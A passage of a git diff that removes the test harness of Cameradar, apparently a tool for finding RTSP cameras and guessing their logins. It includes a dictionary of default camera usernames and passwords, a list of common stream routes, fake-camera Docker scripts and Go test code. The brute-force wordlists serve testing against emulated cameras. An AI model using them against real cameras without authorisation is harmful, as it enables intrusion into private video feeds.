z`?{*SU-~l^bk}=Tb?aZZZhhXlQ;h{{Yfk8=VTPGxb5awZsa-}D!dVa7-AEYSxRfVh za6@s-!r6u*Ngw`RIWuE6wy91h*dwQ4>7x4jxIKCzU(Zas?QcT=pT`bS+9}7{#?rZ5 zlsmtQ(>SOyzXUfM+OCh;nBlLwsg+L%kVKPlB2wC7>k>$c%PVjNFwXD+mtTniBF;;4?0``lAB^0kiDfa61;!B!>* z`H|J%g|)Ryxy@*EX?Z=T8=MC3Pm2vz5{*VSdwM;;yb>*h3n3l-;jFFIX7z*wzv22O zr&rB#TrWhG0x6sTI$Rt_T_9vaYY-_5PobgXpa}Xi2?Pq7Hr-HBnNRhAAq;gFKx?P~ zCFRN>$YOYs&(o60FF(n?(%6+>ezk*%DwmTLHXzraWS1uYl=FyuE{6#fSVp4TCXdBA z0k=cfc(qX$sFK`j=K^9iDC#>gkl3J`QlMn~<=q54En^97Ght*XYL?XI)>eet3>Pw_ z;|Y*VgG#3MZ(fP(UDruE8KG1|j{-2B1$<<mDw`qiXxR#YsVW}NhakW){F%`50(>A z$}&CHOW**rz_hGl2A47oTG~pQj)#Hs51lc!z<0*LgbGdYI-@0m+SywBPSQeSkCprp zCyD|GVi5@-Rp=zZuptDtsM{kHvK~)_%hsl@QrGdxJigA+|RA zc%UQTq!F3FHo=()`IWRduxe2=wGC3FLGF?e_cjz@2u|*JLZIx41UX3$VDU3a!0OeM zz0rluSQ3fhQ>vOr&_miqPJUDn@&ibW}AS&CMkgC2mcJkmS;zmMov1? zx3=@Z?#FDD!EA&S;>N{YWMXA&YiT(jWx~bqR8WaY;_)&YRr&B!9LtCJi& z$$Wz8#LOlY3`URCgKTTXaMXh0W7a) zS`oMRQl;*w+V4jlT(oOLk8piwFWQ~A8I!Q|8P?erPcM{80k3k(_bT=@I^IhmMukeE3O?`CMq3F@b7}H8!yfSiU zvLM{vYwi?^umM@ic1@oM5V6|{Lg0&+L&zA%v3DYG)mASo_UeuJcs&k6daD%xR2s&6 zEyQPRC=6g9xq$1uMDT+SfC3T7Q>U>Lggjq_cnqu9UkS10f`9I$VYkhz|FB$>Ys9q} zk?0#@FO>ul6dJK;h;d}1^7a8N`aJs(etOUU)wwL*0^r)Q72q>o z$52??;F@{x7=B8>IhVy-0Q@_)hVH)OGZe>U@MhER%w^esN9d37+u+Zqr|$v&dib!d z>EE2oa^Rcda8GP}zQE>jvDG?{2V99y@~?P%H6gh1lnIH?4Y;0^9&itA-o!ty@+b6) z%l80y9Ay61faaCskVm#I&_xJy`=oRNLd&1D)Ggd(P zr+jMu#W{En4^*cbpW*=?nKvPBOF&Iu>9ttbg??GWDQ@65Lf@x^VThhE2YmVu;YLN2 zUukW9D z^!nZB_da;(Py&1!_THy+{M}lCe(ErT$b_E{}FyRz2YzN*pfS%&g`cs^Z&b|rwg94S9*WjqwYCR+A&#QyjN`KOGM{qW3 zzaaEpu;2?xe_scdN2lQl4^iV%H?lXsHg9*Uw(D@%Qz`Vp^Cs5A9s}^xI-Np)_?QW~ z=8Zp}{*uu9^>^Wf3Hdus5SCGTwJ!_36@(vO|I&oGHKzUu&qmwcj^pWn41Gfr5>M}y r>)uO(L;iBtgnafzL--P`Z}HQ9tMeCC@2K=2{AB2#d)d(Izn}hpR^7}l diff --git a/test/conf/cameradar.conf.json b/test/conf/cameradar.conf.json deleted file mode 100644 index d4bb27f..0000000 --- a/test/conf/cameradar.conf.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "mysql_db" : { - "host" : "cameradar-database", - "port" : 3306, - "user": "root", - "password": "root", - "db_name": "cmrdr" - }, - "target" : "localhost", - "ports" : "554,8554", - "rtsp_url_file" : "/conf/url.json", - "rtsp_ids_file" : "/conf/ids.json", - "thumbnail_storage_path" : "/tmp", - "cache_manager_path" : "/cameradar/cache_managers", - "cache_manager_name" : "dumb" -} diff --git a/test/conf/cameratest.conf.json b/test/conf/cameratest.conf.json deleted file mode 100644 index f506f1e..0000000 --- a/test/conf/cameratest.conf.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "Output": "cameratest.log.xml", - - "Cameradar" : { - "Path": "/cameradar/cameradar_standalone/cameradar", - "Args": "-s 172.17.0.0/24 -c /conf/cameradar.conf.json --gst-rtsp-server", - "Ports": "554,5554,8554", - "IdsPath": "/conf/ids.json", - "RoutesPath": "/conf/url.json", - "ThumbPath": "/tmp", - "dbHost": "cameradar-database", - "dbPort": 3306, - "dbUser": "root", - "dbPassword": "root", - "dbName": "cmrdr", - "Console": false - }, - "Tests" : [ - { - "address" : "127.0.0.1", - "password" : "", - "port" : "8554", - "route" : "live.sdp", - "username" : "", - "valid" : true - }, - { - "address" : "172.16.100.11", - "password" : "", - "port" : "553", - "route" : "live.sdp", - "username" : "admin", - "valid" : false - }, - { - "address" : "172.16.100.13", - "password" : "", - "port" : "554", - "route" : "live.sdp", - "username" : "admin", - "valid" : true - } - ] -} diff --git a/test/conf/url.json b/test/conf/url.json deleted file mode 100644 index 31d250c..0000000 --- a/test/conf/url.json +++ /dev/null @@ -1,77 +0,0 @@ -{ - "urls" : [ - "/", - "/1.AMP", - "/1/stream1", - "/CAM_ID.password.mp2", - "/GetData.cgi", - "/MediaInput/h264", - "/MediaInput/mpeg4", - "/VideoInput/1/h264/1", - "/access_code", - "/access_name_for_stream_1_to_5", - "/av0_0", - "/av2", - "/avn=2", - "/axis-media/media.amp", - "/cam", - "/cam0_0", - "/cam0_1", - "/cam1/h264", - "/cam1/h264/multicast", - "/cam1/mjpeg", - "/cam1/mpeg4", - "/camera.stm", - "/ch0", - "/ch001.sdp", - "/ch0_unicast_firststream", - "/ch0_unicast_secondstream", - "/channel1", - "/h264", - "/h264/media.amp", - "/image.mpg", - "/img/media.sav", - "/img/video.asf", - "/img/video.sav", - "/ioImage/1", - "/ipcam.sdp", - "/ipcam_h264.sdp", - "/live.sdp", - "/live/h264", - "/live/mpeg4", - "/live_mpeg4.sdp", - "/livestream", - "/livestream/", - "/media/media.amp", - "/media/video1", - "/mjpeg/media.smp", - "/mp4", - "/mpeg4", - "/mpeg4/1/media.amp", - "/mpeg4/media.amp", - "/mpeg4/media.smp", - "/mpeg4unicast", - "/mpg4/rtsp.amp", - "/multicaststream", - "/now.mp4", - "/nph-h264.cgi", - "/nphMpeg4/g726-640x", - "/nphMpeg4/g726-640x480", - "/nphMpeg4/nil-320x240", - "/play1.sdp", - "/play2.sdp", - "/rtpvideo1.sdp", - "/rtsp_tunnel", - "/rtsph264", - "/stream1", - "/user.pin.mp2", - "/user_defined", - "/video", - "/video.3gp", - "/video.mp4", - "/video1", - "/video1+audio1", - "/vis", - "/wfov" - ] -} diff --git a/test/docker/cameratest.conf.tmpl.json b/test/docker/cameratest.conf.tmpl.json deleted file mode 100644 index e488a79..0000000 --- a/test/docker/cameratest.conf.tmpl.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "output": "test-results.xml", - - "cameradar" : { - "path": "/cameradar/bin/cameradar", - "args": "-s 172.17.0.0/24 -c /conf/cameradar.conf.json --gst-rtsp-server", - "ports": "554,5554,8554", - "ids_path": "conf/ids.json", - "routes_path": "conf/url.json", - "thumb_path": "/tmp", - "db_host": "cameradar-database", - "db_port": 3306, - "db_user": "root", - "db_password": "root", - "db_name": "cmrdr", - "console": false - }, - "tests" : __CAMERAS__ -} diff --git a/test/docker/conf/ids.json b/test/docker/conf/ids.json deleted file mode 100644 index 046b60c..0000000 --- a/test/docker/conf/ids.json +++ /dev/null @@ -1,31 +0,0 @@ -{ - "username": [ - "", - "admin", - "Admin", - "root", - "supervisor", - "ubnt" - ], - "password" : [ - "", - "admin", - "9999", - "123456", - "pass", - "camera", - "1234", - "12345", - "fliradmin", - "system", - "jvc", - "meinsm", - "root", - "4321", - "1111111", - "password", - "ikwd", - "supervisor", - "ubnt" - ] -} \ No newline at end of file diff --git a/test/docker/conf/url.json b/test/docker/conf/url.json deleted file mode 100644 index 31d250c..0000000 --- a/test/docker/conf/url.json +++ /dev/null @@ -1,77 +0,0 @@ -{ - "urls" : [ - "/", - "/1.AMP", - "/1/stream1", - "/CAM_ID.password.mp2", - "/GetData.cgi", - "/MediaInput/h264", - "/MediaInput/mpeg4", - "/VideoInput/1/h264/1", - "/access_code", - "/access_name_for_stream_1_to_5", - "/av0_0", - "/av2", - "/avn=2", - "/axis-media/media.amp", - "/cam", - "/cam0_0", - "/cam0_1", - "/cam1/h264", - "/cam1/h264/multicast", - "/cam1/mjpeg", - "/cam1/mpeg4", - "/camera.stm", - "/ch0", - "/ch001.sdp", - "/ch0_unicast_firststream", - "/ch0_unicast_secondstream", - "/channel1", - "/h264", - "/h264/media.amp", - "/image.mpg", - "/img/media.sav", - "/img/video.asf", - "/img/video.sav", - "/ioImage/1", - "/ipcam.sdp", - "/ipcam_h264.sdp", - "/live.sdp", - "/live/h264", - "/live/mpeg4", - "/live_mpeg4.sdp", - "/livestream", - "/livestream/", - "/media/media.amp", - "/media/video1", - "/mjpeg/media.smp", - "/mp4", - "/mpeg4", - "/mpeg4/1/media.amp", - "/mpeg4/media.amp", - "/mpeg4/media.smp", - "/mpeg4unicast", - "/mpg4/rtsp.amp", - "/multicaststream", - "/now.mp4", - "/nph-h264.cgi", - "/nphMpeg4/g726-640x", - "/nphMpeg4/g726-640x480", - "/nphMpeg4/nil-320x240", - "/play1.sdp", - "/play2.sdp", - "/rtpvideo1.sdp", - "/rtsp_tunnel", - "/rtsph264", - "/stream1", - "/user.pin.mp2", - "/user_defined", - "/video", - "/video.3gp", - "/video.mp4", - "/video1", - "/video1+audio1", - "/vis", - "/wfov" - ] -} diff --git a/test/docker/gen_cameras.sh b/test/docker/gen_cameras.sh deleted file mode 100755 index 11f5edc..0000000 --- a/test/docker/gen_cameras.sh +++ /dev/null @@ -1,111 +0,0 @@ -#!/bin/bash - -ports=('8554' '8554' '8554' '8554' '8554' '8554') -users=('admin' 'root' 'ubnt' 'Admin' 'supervisor' '') -passwords=('admin' 'root' '12345' 'ubnt' 'password' '') -routes=('cam0_0' 'live.sdp' 'ch001.sdp' 'cam' 'invalid' 'live_mpeg4.sdp') -cams_name_pattern="fake_camera_" - -# json generation variable only -json="[\n" -first=true -# $1 = adress, $2 = port, $3 = path, $4 = usernam $5 = password, $6 = valid -function make_json { - # Get all data about the container, this will return three lines - # One empty that we ignore - # the two other ones with the IP of our container - # We take the second one using sed and cut to get only the IPAddress - address="$(docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $CID)" - if [ "$first" = true ] ; then first=false - else json="$json,\n"; fi - json="$json{" - json="$json\"address\":\"$address\"," - json="$json\"port\":$2," - json="$json\"route\":\"$3\"," - json="$json\"username\":\"$4\"," - json="$json\"password\":\"$5\"," - json="$json\"valid\":$6" - json="$json}" -} - -# $1 = configuration template path -function generate_conf { - echo "generate configuration" - sed s#__CAMERAS__#$json#g $1 > cameradartest.conf.json -} - -# $1 = numbers of cameras to generate -function start { - # Seed random generator - RANDOM=$(date +%s) - - # start cameras - for (( i=1; i<=$1; i++ )); do - name="$cams_name_pattern$i" - # random conf - conf_idx=$((RANDOM % ${#ports[@]})) - - # get conf variables - port=${ports[$conf_idx]} - user=${users[$conf_idx]} - passw=${passwords[$conf_idx]} - route=${routes[$conf_idx]} - is_valid=true - - # if conf_idx = 4 -> invalid conf - if [ "$conf_idx" == "4" ] ; then is_valid=false; fi - - CID=$(docker run -d --name "$name" fake-camera /start.sh "$port" "$user" "$passw" "$route"); - make_json "$name" "$port" "$route" "$user" "$passw" $is_valid $CID - done - - # finalize json - json="$json]" -} - -function stop { - # if no cameras containers are started just exit - camera_count="$(docker ps -a -q --filter="name=$cams_name_pattern" | wc -l)" - if [ "$camera_count" == "0" ]; then - echo "error: no cameras started"; exit 1 - fi - - echo "stopping and removing $camera_count containers" - # docker stop $(docker ps -a -q --filter="name=$cams_name_pattern") - docker rm -f $(docker ps -a -q --filter="name=$cams_name_pattern") > /dev/null -} - -# need first argument at least -if [ "$1" == "" ]; then - echo "error: invalid number of argument" - exit 1 -fi -case $1 in -"start") - # check if the argument is a number. - re='^[0-9]+$' - if ! [[ $2 =~ $re ]] ; then - echo "error: argument is not a number"; exit 1 - fi - if [[ "$3" == "" ]] ; then - echo "error: missing path to the configuration file template"; exit 1 - fi - echo "starting $2 cameras" - start $2 - generate_conf $3 - ;; -"stop") - echo "stopping all cameras tests" - stop - ;; -"help") - echo "./gen_cameras.sh start CAMS_NB - start CAMS_NB cameras" - echo " stop - stop all started cameras" - echo " help - display this help" - exit 0 - ;; -*) - echo "invalid test name" - exit 1 - ;; -esac diff --git a/test/docker/run_cameradartest.sh b/test/docker/run_cameradartest.sh deleted file mode 100755 index db3ab4b..0000000 --- a/test/docker/run_cameradartest.sh +++ /dev/null @@ -1,25 +0,0 @@ -#!/bin/bash - -while ! mysqladmin ping -h"cameradar-database" -P3306 --silent; do - sleep 1 -done - -cat /tmp/tests/cameradartest.conf.json - -# build -go build - -cp /tmp/tests/*.xml ./ - -# run test -./cameradartest /tmp/tests/cameradartest.conf.json - -ret=$? - -echo "Tests exited with code ${ret}" - -cat *.xml - -cp *.xml /tmp/tests/ - -exit $ret diff --git a/test/docker/run_ces.sh b/test/docker/run_ces.sh deleted file mode 100755 index 9d05b8c..0000000 --- a/test/docker/run_ces.sh +++ /dev/null @@ -1,22 +0,0 @@ -#!/bin/bash - -port=$1 -user=$2 -passw=$3 -route=$4 -url="" - -# need first argument at least -if [ "$2" == "" ]; then - url="rtsp://:$port/$route" -else - url="rtsp://$user:$passw@:$port/$route" -fi - -if [ "$2" == "" && "$3" == "" ]; then - ./camera_emulation_server -r $4 -else - ./camera_emulation_server -u $2 -p $3 -r $4 -fi - -echo "Stream started on ${url}" diff --git a/test/src/configuration.go b/test/src/configuration.go deleted file mode 100644 index e6688e9..0000000 --- a/test/src/configuration.go +++ /dev/null @@ -1,45 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package main - -import ( - "encoding/json" - "fmt" - "os" -) - -func (t *Tester) parseConfig() bool { - confPath := "conf/cameratest.conf.json" - av := len(os.Args) - if av > 1 { - confPath = os.Args[1] - } - - // Load config - fmt.Printf("Loading Tester configuration file: %s ... ", confPath) - configFile, err := os.Open(confPath) - if err != nil { - fmt.Printf("\nCan't open Tester configuration file: %s\n", err) - return false - } - dec := json.NewDecoder(configFile) - if err = dec.Decode(&t); err != nil { - fmt.Printf("\nUnable to deserialize Tester configuration file: %s\n", err) - return false - } - fmt.Println("Tester configuration file successfully loaded") - - return true -} diff --git a/test/src/db.go b/test/src/db.go deleted file mode 100644 index ab828fd..0000000 --- a/test/src/db.go +++ /dev/null @@ -1,43 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package main - -import ( - "database/sql" - "fmt" - "strconv" - - _ "github.com/go-sql-driver/mysql" -) - -func (t *Tester) dropDB() bool { - dsn := t.ServiceConf.DbUser + ":" + t.ServiceConf.DbPassword + "@" + "tcp(" + t.ServiceConf.DbHost + ":" + strconv.Itoa(t.ServiceConf.DbPort) + ")/" + t.ServiceConf.DbName + "?charset=utf8" - - db, err := sql.Open("mysql", dsn) - if err != nil { - fmt.Println(err) - } - - defer db.Close() - - q := "DROP DATABASE " + t.ServiceConf.DbName + ";" - _, err = db.Exec(q) - if err != nil { - fmt.Println(err) - } - - fmt.Println("------ Dropped Cameradar Database -------") - return true -} diff --git a/test/src/logReader.go b/test/src/logReader.go deleted file mode 100644 index 82717fa..0000000 --- a/test/src/logReader.go +++ /dev/null @@ -1,46 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package main - -import ( - "bufio" - "fmt" - "io" -) - -// Launch it via goroutine -// Start read log of service -func readLog(service *Service, reader io.ReadCloser) { - scanner := bufio.NewScanner(reader) - - for scanner.Scan() { - str := scanner.Text() - if service.Config.Console { - fmt.Printf("[%s] %s\n", service.Config.Path, str) - } - fmt.Printf("%s\n", str) - service.Mutex.Lock() - service.Logs = append(service.Logs, str) - service.Mutex.Unlock() - } - - err := scanner.Err() - if err != nil { - fmt.Printf("[%s] Service failed: %s\n", service.Config.Path, err) - } - - fmt.Printf("Logger of service: [%s] stopped\n", service.Config.Path) - service.Active = false -} diff --git a/test/src/main.go b/test/src/main.go deleted file mode 100644 index 3cb6a0d..0000000 --- a/test/src/main.go +++ /dev/null @@ -1,47 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package main - -import ( - "fmt" - "os" -) - -func main() { - Tester := new(Tester) - defer Tester.Stop() - - // Parse conf (streams should already be launched by Jenkins) - fmt.Println("--- Initializing Cameradar Test Tool ... ---") - if !Tester.Init() { - fmt.Println("-> Cameradar Test Tool initialization FAILED") - return - } - - // Run tests - if !Tester.Run() { - fmt.Println("-> Cameradar Test Tool FAILED") - } - - // Write results - fmt.Println("--- Writing results... ---") - if !Tester.WriteResults(*(Tester.Result), Tester.Output) { - fmt.Println("-> Write results FAILED") - os.Exit(1) - } - - fmt.Println("--- Writing results done ---") - os.Exit(0) -} diff --git a/test/src/result.go b/test/src/result.go deleted file mode 100644 index 1215ee6..0000000 --- a/test/src/result.go +++ /dev/null @@ -1,97 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package main - -import ( - "encoding/json" - "errors" - "fmt" - "os" -) - -// Result contains the data of a Cameradar result, plus an error field in order to add error messages to the JUnit report -type Result struct { - Address string `json:"address"` - IDsFound bool `json:"ids_found"` - PathFound bool `json:"path_found"` - Password string `json:"password"` - Port int `json:"port"` - Route string `json:"route"` - ServiceName string `json:"service_name"` - Protocol string `json:"protocol"` - State string `json:"state"` - Username string `json:"username"` - Valid bool `json:"valid"` - Thumb string `json:"thumbnail_path"` - err error // in case of a fail, add a message -} - -// Launch it via goroutine -// Start read log of service -func getResult(test *[]Result, resultPath string) bool { - // Load config - resultFile, err := os.Open(resultPath) - if err != nil { - fmt.Printf("\nCan't open result file: %s\n", err) - return false - } - - dec := json.NewDecoder(resultFile) - if err = dec.Decode(&test); err != nil { - fmt.Printf("\nUnable to deserialize result file: %s\n", err) - return false - } - - return true -} - -func isValid(e *Result, r Result) bool { - if e.Username != r.Username { - e.err = errors.New(e.Address + " had a different username than " + r.Username) - return false - } - if e.Password != r.Password { - e.err = errors.New(e.Address + " had a different password than " + r.Password) - return false - } - if e.Port != r.Port { - e.err = errors.New(e.Address + " had a different port than expected") - return false - } - if e.Valid != r.Valid { - e.err = errors.New(e.Address + " had a different validity than expected") - return false - } - fmt.Println(e.Address + "seems valid.") - return true -} - -// Extend takes a slice of Results and adds a new element to it -func Extend(slice []Result, element Result) []Result { - n := len(slice) - - if n == cap(slice) { - // Slice is full; must grow. - // We double its size and add 1, so if the size is zero we still grow. - newSlice := make([]Result, len(slice), 2*len(slice)+1) - copy(newSlice, slice) - slice = newSlice - } - - slice = slice[0 : n+1] - slice[n] = element - - return slice -} diff --git a/test/src/service.go b/test/src/service.go deleted file mode 100644 index a250d78..0000000 --- a/test/src/service.go +++ /dev/null @@ -1,105 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package main - -import ( - "fmt" - "os/exec" - "strings" - "sync" -) - -// ServiceConfig contains the configuration variables for the service structure -type ServiceConfig struct { - Path string `json:"path"` - Args string `json:"args"` - Ports string `json:"ports"` - IdsPath string `json:"ids_path"` - RoutesPath string `json:"routes_path"` - ThumbPath string `json:"thumb_path"` - DbHost string `json:"db_host"` - DbPort int `json:"db_port"` - DbUser string `json:"db_user"` - DbPassword string `json:"db_password"` - DbName string `json:"db_name"` - Console bool `json:"console"` -} - -// Service allows to run a command and to access its logs asynchronously -type Service struct { - Config ServiceConfig // Configuration variables - Logs []string // Contains the executer's logs - Active bool // Based on io.ReadCloser status - Mutex sync.Mutex // Used to append to the logs safely - cmd *exec.Cmd // Pointer to the executer -} - -func startService(service *Service, config ServiceConfig) bool { - // Launch service - service.Config = config - args := strings.Fields(service.Config.Args) - service.cmd = exec.Command(service.Config.Path, args...) - - handler, err := service.cmd.StdoutPipe() - if err != nil { - fmt.Println(err) - return false - } - errHandler, err := service.cmd.StderrPipe() - if err != nil { - fmt.Println(err) - return false - } - // Launch - err = service.cmd.Start() - if err != nil { - fmt.Println(err) - return false - } - - fmt.Printf("Service: [%s] started\n", service.Config.Path) - service.Active = true - - // Read service logs and update service status - // Set pipes - go readLog(service, handler) - go readLog(service, errHandler) - - return true -} - -// Stop only specified service instance -func stopService(service *Service) { - service.cmd.Process.Kill() -} - -// Kill all instances of specified service -func killService(service *Service) { - // Sending SIGTERM - fmt.Printf("Executing: killall %s\n", service.Config.Path) - cmd := exec.Command("killall", service.Config.Path) - err := cmd.Run() - if err != nil { - fmt.Println(err) - } - - sigAbort := []string{service.Config.Path, "-s", "SIGABRT"} - fmt.Printf("Executing: killall %s -s SIGABRT\n", service.Config.Path) - cmd = exec.Command("killall", sigAbort...) - err = cmd.Run() - if err != nil { - fmt.Println(err) - } -} diff --git a/test/src/testCase.go b/test/src/testCase.go deleted file mode 100644 index 9930170..0000000 --- a/test/src/testCase.go +++ /dev/null @@ -1,97 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package main - -import ( - "errors" - "fmt" - "sync" - "time" -) - -// Test represents a test launched with Cameradar -type Test struct { - expected []Result // Contains the expected results - result []Result // Contains the results that have been validated - time time.Duration // Contains the runtime duration -} - -func removeResult(expected []Result, index int) []Result { - if len(expected) > 1 { - return append(expected[:index], expected[index+1:]...) - } - return []Result{} -} - -// Invoke the test -// Wrap results in a TestResult object -func (t *Tester) invokeTestCase(testCase *Test, wg *sync.WaitGroup) { - startTime := time.Now() - t.runTestCase(testCase) - testCase.time = time.Since(startTime) - fmt.Printf("Test OK in %.6fs\n", testCase.time.Seconds()) - wg.Done() -} - -// Checks all valid results that are supposed to match -// Adds them to the valid results and leave the failed -// ones in the expected slice -// -// Then, if the result did not match the expected but it was supposed to fail -// Add it to the valid results and remove it from the expected slice -func (t *Tester) runTestCase(test *Test) { - startService(&t.Cameradar, t.ServiceConf) - for t.Cameradar.Active { - time.Sleep(25 * time.Millisecond) - } - - var validResults []Result - var invalidResults []Result - if getResult(&test.result, "/tmp/shared/result.json") { - for _, r := range test.result { - r.Valid = true - - for index, e := range test.expected { - fmt.Println("Result : ", r) - fmt.Println("Expected test : ", e) - - if e.Address == r.Address && isValid(&e, r) { - fmt.Println("The result of ", r.Address, " is valid.") - validResults = Extend(validResults, r) - test.expected = removeResult(test.expected, index) - break - } - } - } - - for _, e := range test.expected { - if !e.Valid { - fmt.Println("The result of", e.Address, "successfully failed.") - validResults = Extend(validResults, e) - } else { - if e.err == nil { - e.err = errors.New("The camera with the address " + e.Address + " was not found by cameradar") - } - invalidResults = Extend(invalidResults, e) - fmt.Println("Should have been valid but was not found : ", e.Address) - } - } - test.result = validResults - test.expected = invalidResults - } else { - test.expected = nil - test.result = nil - } -} diff --git a/test/src/tester.go b/test/src/tester.go deleted file mode 100644 index 2072dab..0000000 --- a/test/src/tester.go +++ /dev/null @@ -1,67 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package main - -import ( - "fmt" - "sync" -) - -// Tester is the structure that will manage the whole testing -type Tester struct { - ServiceConf ServiceConfig `json:"cameradar"` - Output string `json:"output"` - Tests []Result `json:"tests"` - - Cameradar Service - Result *Test -} - -// Init gets the testing configuration and makes sure that no other Cameradar service is running at the moment -func (t *Tester) Init() bool { - fmt.Println("- Parsing") - if !t.parseConfig() { - return false - } - - fmt.Println("- Cleaning content") - killService(&t.Cameradar) - - return true -} - -// Run launches the tests that have been set up by the init method -func (t *Tester) Run() bool { - var wg sync.WaitGroup - - fmt.Println("\n- Launching all tests") - var newTest = new(Test) - newTest.expected = t.Tests - - t.dropDB() - wg.Add(1) - go t.invokeTestCase(newTest, &wg) - t.Result = newTest - - wg.Wait() - fmt.Println("All tests completed") - return true -} - -// Stop kills the service launched by the tester -func (t *Tester) Stop() bool { - killService(&t.Cameradar) - return true -} diff --git a/test/src/writeResult.go b/test/src/writeResult.go deleted file mode 100644 index e15ef4c..0000000 --- a/test/src/writeResult.go +++ /dev/null @@ -1,161 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package main - -import ( - "bytes" - "encoding/xml" - "errors" - "fmt" - "io" - "io/ioutil" - "os" -) - -// JUnitTestSuites is a collection of JUnit test suites. -type JUnitTestSuites struct { - XMLName xml.Name `xml:"testsuites"` - TestSuites []JUnitTestSuite `xml:"testsuite"` -} - -// JUnitTestSuite is a single JUnit test suite which may contain many -// testcases. -type JUnitTestSuite struct { - XMLName xml.Name `xml:"testsuite"` - Tests int `xml:"tests,attr"` - Failures int `xml:"failures,attr"` - Time string `xml:"time,attr"` - TestCases []JUnitTestCase `xml:"testcase"` -} - -// JUnitTestCase is a single test case with its result. -type JUnitTestCase struct { - XMLName xml.Name `xml:"testcase"` - Message string `xml:"message,attr"` - Time string `xml:"time,attr"` - Failure *JUnitFailure `xml:"failure,omitempty"` -} - -// JUnitFailure contains data related to a failed test. -type JUnitFailure struct { - XMLName xml.Name `xml:"failure"` - Message string `xml:"message,attr"` - Type string `xml:"type,attr"` - Contents string `xml:",chardata"` -} - -// WriteResults will output the results in the standard output as well as concatenate them in an XML JUnit report -func (t *Tester) WriteResults(result Test, output string) bool { - file, err := os.OpenFile(output, os.O_RDONLY|os.O_CREATE, 0644) - if err != nil { - fmt.Printf("Error opening XML: %s\n", err) - return false - } - defer file.Close() - - err = t.writeJUnitReportXML(result, file, output) - if err != nil { - fmt.Printf("The tests were unsuccessful: %s\n", err) - return false - } - - fmt.Printf("-> JUnit XML report written: %s\n", output) - return true -} - -// Write tests results under JUnit format on w -func (t *Tester) writeJUnitReportXML(result Test, rw io.ReadWriter, output string) error { - if result.expected == nil && result.result == nil { - return errors.New("test results could not be deserialized") - } - - suites := JUnitTestSuites{} - - buf, err := ioutil.ReadFile(output) - - dec := xml.NewDecoder(bytes.NewBufferString(string(buf))) - err = dec.Decode(&suites) - if err != nil { - fmt.Printf("\nUnable to deserialize %s file: %s\n", output, err) - } - - ts := JUnitTestSuite{ - Tests: len(result.result) + len(result.expected), - Failures: len(result.expected), - Time: fmt.Sprintf("%.6f", result.time.Seconds()), - TestCases: []JUnitTestCase{}, - } - - for _, r := range result.result { - testCase := JUnitTestCase{ - Time: 